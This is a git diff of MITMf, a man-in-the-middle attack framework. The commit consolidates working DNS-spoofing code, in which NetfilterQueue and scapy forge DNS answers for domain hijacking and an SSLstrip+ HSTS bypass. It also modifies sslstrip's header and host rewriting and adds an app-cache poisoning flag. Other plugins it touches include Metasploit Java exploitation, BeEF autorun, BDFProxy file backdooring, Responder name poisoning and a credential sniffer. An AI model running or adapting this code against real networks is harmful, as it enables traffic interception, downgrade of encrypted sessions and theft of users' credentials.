diff --git a/README.md b/README.md index d7f7e73..fc72ea7 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,10 @@ As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. +Installation +============ +If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file + Availible plugins ================= - Responder - LLMNR, NBT-NS and MDNS poisoner diff --git a/config/mitmf.cfg b/config/mitmf.cfg index c67ff85..693ebb2 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -167,7 +167,7 @@ manifest_url = http://www.google.com/robots.txt [[facebook]] - tamper_url=http://www.facebook.com/ + tamper_url=http://www.facebook.com/?_rdr manifest_url=http://www.facebook.com/robots.txt templates=facebook # use different template @@ -230,7 +230,7 @@ accounts.google.se = cuentas.google.se #for facebook - facebook.com = social.facebook.com + www.facebook.com = social.facebook.com #-----------------------------------------------------------------------------------------------------------------------------------------# diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 08fb452..f5d92a8 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -59,20 +59,8 @@ class ClientRequest(Request): #for k,v in headers.iteritems(): # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) - - if 'accept-encoding' in headers: - headers['accept-encoding'] == 'identity' - logging.debug("Zapped encoding") - - if 'if-modified-since' in headers: - del headers['if-modified-since'] - - if 'cache-control' in headers: - del headers['cache-control'] - + if self.hsts: - if 'if-none-match' in headers: - del headers['if-none-match'] if 'referer' in headers: real = self.urlMonitor.real @@ -80,15 +68,24 @@ class ClientRequest(Request): dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) + if 'if-none-match' in headers: + del headers['if-none-match'] + if 'host' in headers: - host = self.urlMonitor.URLgetRealHost(headers['host']) - if host[1] is True: - logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0])) - headers['host'] = host[0] - headers['securelink'] = '1' - self.setHeader('Host',host[0]) - else: - logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host']) + host = self.urlMonitor.URLgetRealHost(str(headers['host'])) + logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) + headers['host'] = host + self.setHeader('Host', host) + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + logging.debug("Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] self.plugins.hook() @@ -113,7 +110,7 @@ class ClientRequest(Request): return "lock.ico" def handleHostResolvedSuccess(self, address): - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -123,12 +120,16 @@ class ClientRequest(Request): if self.content: self.content.seek(0,0) + postData = self.content.read() if self.hsts: - real = self.urlMonitor.real + host = self.urlMonitor.URLgetRealHost(str(host)) + real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict + url = 'http://' + host + path + self.uri = url # set URI to absolute if len(real) > 0: dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) @@ -140,7 +141,7 @@ class ClientRequest(Request): postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) - headers['content-length'] = "%d" % len(postData) + headers['content-length'] = str(len(postData)) #self.dnsCache.cacheResolution(host, address) hostparts = host.split(':') @@ -171,7 +172,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) + logging.warning("[ClientRequest] Host resolution error: " + str(error)) try: self.finish() except: @@ -188,26 +189,13 @@ class ClientRequest(Request): return reactor.resolve(host) def process(self): - logging.debug("Resolving host: %s" % (self.getHeader('host'))) - host = self.getHeader('host') + logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] - if (self.hsts and host): - real = self.urlMonitor.real - - if 'wwww' in host: - logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) - host = host[1:] - elif 'web' in host: - logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) - host = host[3:] - elif host in real: - logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host)) - host = real[host] - - hostparts = host.split(':') - #deferred = self.resolveHost(host) - deferred = self.resolveHost(hostparts[0]) + if self.hsts: + host = self.urlMonitor.URLgetRealHost("%s"%host) + deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) deferred.addErrback(self.handleHostResolvedError) diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index c03556c..dd66c6f 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -19,6 +19,7 @@ import logging, re, string from ServerConnection import ServerConnection +from URLMonitor import URLMonitor class SSLServerConnection(ServerConnection): @@ -36,6 +37,8 @@ class SSLServerConnection(ServerConnection): def __init__(self, command, uri, postData, headers, client): ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + self.hsts = URLMonitor.getInstance().isHstsBypass() def getLogLevel(self): return logging.INFO @@ -44,7 +47,7 @@ class SSLServerConnection(ServerConnection): return "SECURE POST" def handleHeader(self, key, value): - if ServerConnection.isHsts(self): + if self.hsts: if (key.lower() == 'set-cookie'): newvalues =[] value = SSLServerConnection.cookieExpression.sub("\g<1>", value) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index c76e73c..5a3a8ab 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -54,6 +54,7 @@ class ServerConnection(HTTPClient): self.clientInfo = None self.urlMonitor = URLMonitor.getInstance() self.hsts = URLMonitor.getInstance().isHstsBypass() + self.app = URLMonitor.getInstance().isAppCachePoisoning() self.plugins = ProxyPlugins.getInstance() self.isImageRequest = False self.isCompressed = False @@ -63,9 +64,6 @@ class ServerConnection(HTTPClient): def getPostPrefix(self): return "POST" - def isHsts(self): - return self.hsts - def sendRequest(self): if self.command == 'GET': try: @@ -113,7 +111,8 @@ class ServerConnection(HTTPClient): if (key.lower() == 'location'): value = self.replaceSecureLinks(value) - self.urlMonitor.addRedirection(self.client.uri, value) + if self.app: + self.urlMonitor.addRedirection(self.client.uri, value) if (key.lower() == 'content-type'): if (value.find('image') != -1): @@ -166,7 +165,7 @@ class ServerConnection(HTTPClient): logging.debug("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - logging.debug("Read from server:\n" + data) + #logging.debug("Read from server:\n" + data) data = self.replaceSecureLinks(data) res = self.plugins.hook() diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 7f53ef0..d3b34f4 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -43,6 +43,7 @@ class URLMonitor: self.redirects = [] self.faviconReplacement = False self.hsts = False + self.app = False self.hsts_config = None @staticmethod @@ -71,7 +72,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - logging.debug("[URLMonitor] Set redirection: %s" % url_set) + logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) self.redirects.append(url_set) def getRedirectionSet(self, url): @@ -138,6 +139,9 @@ class URLMonitor: self.sustitucion[k] = v self.real[v] = k + def setAppCachePoisoning(self): + self.app = True + def setClientLogging(self, clientLogging): self.clientLogging = clientLogging @@ -150,14 +154,17 @@ class URLMonitor: def isHstsBypass(self): return self.hsts + def isAppCachePoisoning(self): + return self.app + def isSecureFavicon(self, client, url): return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) - def URLgetRealHost(self,host): - logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host) + def URLgetRealHost(self, host): + logging.debug("[URLMonitor][HSTS] Parsing host: %s"% host) if self.real.has_key(host): - logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host]) - return (self.real[host], True) + logging.debug("[URLMonitor][HSTS] Found host in list: %s"% self.real[host]) + return self.real[host] else: - logging.debug("[URLMonitor][HSTS]New host: %s"%host) - return (host, False) + logging.debug("[URLMonitor][HSTS] Host not in list: %s"% host) + return host diff --git a/core/utils.py b/core/utils.py index 784a98c..7ac1498 100644 --- a/core/utils.py +++ b/core/utils.py @@ -97,7 +97,6 @@ class Banners: \/__/ \/__/ \/__/ \/__/ \/__/ """ - @property def printBanner(self): banners = [self.banner1, self.banner2, self.banner3, self.banner4] print random.choice(banners) \ No newline at end of file diff --git a/core/wrappers/nfqueue.py b/core/wrappers/nfqueue.py deleted file mode 100644 index 3eb1cd8..0000000 --- a/core/wrappers/nfqueue.py +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import threading - -from netfilterqueue import NetfilterQueue - -class Nfqueue(): - - def __init__(self, queue_number): - self.queue_number = queue_number - self.nfqueue = NetfilterQueue() - - def start(self): - t = threading.Thread(name='nfqueue', target=self.bind, args=()) - t.setDaemon(True) - t.start() - - def bind(self): - self.nfqueue.bind(self.queue_number, self.callback) - self.nfqueue.run() - - def stop(self): - try: - self.nfqueue.unbind() - except: - pass - - def callback(self, payload): - payload.accept() diff --git a/core/wrappers/protocols.py b/core/wrappers/protocols.py index bc2e338..0e06696 100644 --- a/core/wrappers/protocols.py +++ b/core/wrappers/protocols.py @@ -22,10 +22,12 @@ import logging import threading import binascii import random +import dns.resolver from base64 import b64decode from urllib import unquote from time import sleep +from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * @@ -240,3 +242,132 @@ class _ICMP(): def send_icmps(self, pkt, interface, debug): while self.send: sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) + +class _DNS(): + + hsts = False + dns = False + hstscfg = None + dnscfg = None + _instance = None + nfqueue = NetfilterQueue() + queue_number = 0 + + def __init__(self): + t = threading.Thread(name='nfqueue', target=self.bind, args=()) + t.setDaemon(True) + t.start() + + @staticmethod + def getInstance(): + if _DNS._instance is None: + _DNS._instance = _DNS() + + return _DNS._instance + + @staticmethod + def checkInstance(): + if _DNS._instance is None: + return False + else: + return True + + def bind(self): + self.nfqueue.bind(self.queue_number, self.callback) + self.nfqueue.run() + + def stop(self): + try: + self.nfqueue.unbind() + except: + pass + + def enableHSTS(self, config): + self.hsts = True + self.hstscfg = config + + def enableDNS(self, config): + self.dns = True + self.dnscfg = config + + def resolve_domain(self, domain): + try: + logging.debug("Resolving -> %s" % domain) + answer = dns.resolver.query(domain, 'A') + real_ips = [] + for rdata in answer: + real_ips.append(rdata.address) + + if len(real_ips) > 0: + return real_ips + + except Exception: + logging.info("Error resolving " + domain) + + def callback(self, payload): + try: + #logging.debug(payload) + pkt = IP(payload.get_payload()) + + if not pkt.haslayer(DNSQR): + payload.accept() + return + + if pkt.haslayer(DNSQR): + logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + if self.dns: + for k, v in self.dnscfg.items(): + if k in pkt[DNSQR].qname: + self.modify_dns(payload, pkt, v) + return + + payload.accept() + + elif self.hsts: + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.items(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + payload.accept() + + except Exception, e: + print "Exception occurred in nfqueue callback: " + str(e) + + def modify_dns(self, payload, pkt, ip): + try: + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + + if self.hsts: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(spoofed_pkt)) + payload.accept() + + if self.dns: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(spoofed_pkt)) + payload.accept() + + except Exception, e: + print "Exception occurred while modifying DNS: " + str(e) diff --git a/mitmf.py b/mitmf.py index f8445d2..1f6ca9c 100755 --- a/mitmf.py +++ b/mitmf.py @@ -53,7 +53,7 @@ mitmf_version = "0.9.6" sslstrip_version = "0.9" sergio_version = "0.2.1" -Banners().printBanner +Banners().printBanner() parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options @@ -162,12 +162,18 @@ load = [] for p in plugins: try: - if vars(args)[p.optname] is True: - print "|_ %s v%s" % (p.name, p.version) if getattr(args, p.optname): p.initialize(args) load.append(p) + + if vars(args)[p.optname] is True: + print "|_ %s v%s" % (p.name, p.version) + + if p.output: + for line in p.output: + print "| |_ %s" % line + except Exception, e: print "[-] Error loading plugin %s: %s" % (p.name, str(e)) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index 85b239e..f315010 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -44,6 +44,8 @@ class AppCachePlugin(Plugin): self.mass_poisoned_browsers = [] self.urlMonitor = URLMonitor.getInstance() + self.urlMonitor.setAppCachePoisoning() + try: self.config = options.configfile['AppCachePoison'] except Exception, e: diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index a607ebe..de03d96 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -66,7 +66,8 @@ class BeefAutorun(Inject, Plugin): if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") - print "| |_ Mode: %s" % self.Mode + self.output.append("Mode: %s" % self.Mode) + t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 09358fe..92bb591 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -124,6 +124,8 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.output.append("BDFProxy by midnite_runr online") + def convert_to_Bool(self, aString): if aString.lower() == 'true': return True diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 7efa59e..6c6460f 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -72,7 +72,7 @@ class JavaPwn(BrowserProfiler, Plugin): msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] - print "| |_ Connected to Metasploit v%s" % version + self.output.append("Connected to Metasploit v%s" % version) except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") diff --git a/plugins/Responder.py b/plugins/Responder.py index 9edc843..90f3965 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -47,10 +47,10 @@ class Responder(Plugin): except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - print "| |_ NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION + self.output.append("NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION) if options.Analyse: - print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' + self.output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") start_responder(options, config) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 5859086..eb6010e 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -25,16 +25,13 @@ import logging from plugins.plugin import Plugin from core.utils import SystemConfig from core.sslstrip.URLMonitor import URLMonitor -from core.wrappers.nfqueue import Nfqueue - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * +from core.wrappers.protocols import _DNS class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.3" + version = "0.4" has_opts = False req_root = True @@ -50,84 +47,16 @@ class HSTSbypass(Plugin): if not options.manualiptables: SystemConfig.iptables.DNS(1) - self.dns = DNSmirror(1) - self.dns.hstscfg = config - self.dns.start() + self.dns = _DNS.getInstance() + self.dns.enableHSTS(config) - print "| |_ SSLstrip+ by Leonardo Nve running" + self.output.append("SSLstrip+ by Leonardo Nve running") URLMonitor.getInstance().setHstsBypass(config) def finish(self): - self.dns.stop() + if _DNS.checkInstance() is True: + _DNS.getInstance().stop() if not self.manualiptables: SystemConfig.iptables.Flush() - -class DNSmirror(Nfqueue): - - hstscfg = None - - def callback(self, payload): - try: - #logging.debug(payload) - pkt = IP(payload.get_payload()) - - if not pkt.haslayer(DNSQR): - payload.accept() - - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.iteritems(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() - - except Exception, e: - print "Exception occurred in nfqueue callback: " + str(e) - - def modify_dns(self, payload, pkt, ip): - try: - mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - - logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(mpkt)) - payload.accept() - - except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) - - def resolve_domain(self, domain): - try: - logging.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - logging.info("Error resolving " + domain) diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index ccffeb5..13038f7 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -66,7 +66,7 @@ class Sniffer(Plugin): n = NetCreds() #if not self.parse: - print "| |_ Net-Creds online" + self.output.append("Net-Creds online") t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t.setDaemon(True) t.start() diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 5a3ab64..c1126a3 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -23,8 +23,7 @@ import sys from core.utils import SystemConfig from core.sslstrip.DnsCache import DnsCache -from core.wrappers.protocols import _ARP, _DHCP, _ICMP -from core.wrappers.nfqueue import Nfqueue +from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS from plugins.plugin import Plugin logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy @@ -34,7 +33,7 @@ class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" - version = "0.5" + version = "0.6" has_opts = True req_root = True @@ -100,11 +99,8 @@ class Spoof(Plugin): for domain, ip in self.dnscfg.iteritems(): dnscache.cacheResolution(domain, ip) - dns = DNStamper(0) - dns.dnscfg = self.dnscfg - - self.protocolInstances.append(dns) - + self.dns = _DNS.getInstance() + self.dns.enableDNS(self.dnscfg) SystemConfig.setIpForwarding(1) @@ -130,48 +126,10 @@ class Spoof(Plugin): for protocol in self.protocolInstances: protocol.stop() + if _DNS.checkInstance() is True: + _DNS.getInstance().stop() + if not self.manualiptables: SystemConfig.iptables.Flush() SystemConfig.setIpForwarding(0) - - -class DNStamper(Nfqueue): - - dnscfg = None - - def callback(self, payload): - try: - logging.debug(payload) - pkt = IP(payload.get_payload()) - - if not pkt.haslayer(DNSQR): - payload.accept() - - if pkt.haslayer(DNSQR): - logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - for k, v in self.dnscfg.iteritems(): - if k == pkt[DNSQR].qname[:-1]: - self.modify_dns(payload, pkt, v) - return - - payload.accept() - - except Exception, e: - print "Exception occurred in nfqueue callback: " + str(e) - - def modify_dns(self, payload, pkt, ip): - try: - - mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) - - mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_payload(str(mpkt)) - payload.accept() - - except Exception, e: - print "Exception occurred while modifying DNS: " + str(e) diff --git a/plugins/plugin.py b/plugins/plugin.py index 4b8cd37..d3e8e95 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -5,11 +5,13 @@ can get called during the MITM attack. class Plugin(object): - name = "Generic plugin" - optname = "generic" - desc = "" + name = "Generic plugin" + optname = "generic" + desc = "" implements = [] - has_opts = False + output = [] + has_opts = False + req_root = False def __init__(self): '''Called on plugin instantiation. Probably don't need this''' diff --git a/setup.sh b/setup.sh index c5a7d24..5191a97 100755 --- a/setup.sh +++ b/setup.sh @@ -4,6 +4,5 @@ if [[ $EUID -ne 0 ]]; then exit 1 fi -git submodule init -git submodule update +git submodule init && git submodule update --recursive cd libs/bdfactory/ && ./install.sh